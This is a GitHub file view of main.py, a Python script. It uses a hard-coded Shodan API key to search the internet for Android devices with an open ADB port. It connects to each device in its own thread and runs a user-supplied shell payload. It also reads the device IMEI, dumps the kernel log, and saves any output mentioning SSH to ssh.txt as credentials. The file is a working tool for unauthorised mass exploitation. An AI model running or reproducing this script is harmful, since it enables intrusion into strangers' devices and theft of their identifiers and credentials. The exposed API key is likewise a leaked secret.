-
Notifications
You must be signed in to change notification settings - Fork 1
/
Copy pathmain.py
78 lines (62 loc) · 2.94 KB
/
main.py
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
import threading
from time import sleep
from shodan import Shodan
from colorama import Fore
from adb_shell.adb_device import AdbDeviceTcp
# Replace with your actual Shodan API key
api = Shodan('WB6B7tRAskjlmpVUrYfnU1CVGCIpUs1t')
payload = input('Enter the command payload to execute: ')
def save_ssh_credentials(output, host):
"""
Extract and save SSH credentials to a file.
"""
ssh_creds = []
# Check output for SSH credentials
if "ssh" in output.lower():
ssh_creds.append(output)
if ssh_creds:
with open("ssh.txt", "a") as f:
f.write(f"SSH Credentials from {host}:\n")
for cred in ssh_creds:
f.write(f"{cred}\n")
f.write("\n")
def adb_connection(host, port, payload):
try:
print(f'{Fore.GREEN}[ CONNECTING ]{Fore.MAGENTA} {host}{Fore.GREEN}:{Fore.MAGENTA}{port}\n')
# Create an ADB TCP connection to the device
device = AdbDeviceTcp(host=host, port=port, default_transport_timeout_s=9)
device.connect(auth_timeout_s=0.5)
# Send the payload command to the connected device
output = device.shell(command=str(payload))
print(f'{Fore.CYAN}[ SUCCESS ] Payload Output from {host}:{port}\n{output}\n')
# Save SSH credentials from the payload output
save_ssh_credentials(output, host)
# Get the IMEI of the Android device
imei_output = device.shell(command='service call iphonesubinfo 1 | cut -d\' \' -f3 | tr -d "."')
print(f'{Fore.CYAN}[ SUCCESS ] IMEI from {host}:{port}\n{imei_output.strip()}\n')
# Dump the kernel log (requires root privileges)
kernel_dump_output = device.shell(command='cat /proc/kmsg')
print(f'{Fore.CYAN}[ SUCCESS ] Kernel Dump from {host}:{port}\n{kernel_dump_output[:1000]}...\n') # Print the first 1000 characters
# Save SSH credentials from the kernel dump
save_ssh_credentials(kernel_dump_output, host)
# Disconnect after execution
device.close()
except Exception as e:
print(f'{Fore.RED}[ ERROR ] Could not connect to {host}:{port}\n{Fore.YELLOW}Reason: {e}\n')
def search_and_execute(payload):
try:
# Search for devices with open ADB ports (Android Debug Bridge)
for result in api.search_cursor('"Android Debug Bridge"'):
try:
host = result['ip_str'].rstrip()
port = result['port']
# Start a new thread for each device connection
threading.Thread(target=adb_connection, args=(host, port, payload)).start()
# Small delay to avoid overwhelming threads
sleep(0.5)
except Exception as ex:
print(f'{Fore.RED}[ ERROR ] Issue while processing {host}:{port} - {ex}\n')
except Exception as e:
print(f'{Fore.RED}[ ERROR ] Shodan API issue: {e}')
# Start the main function to search for devices and execute the payload
search_and_execute(payload)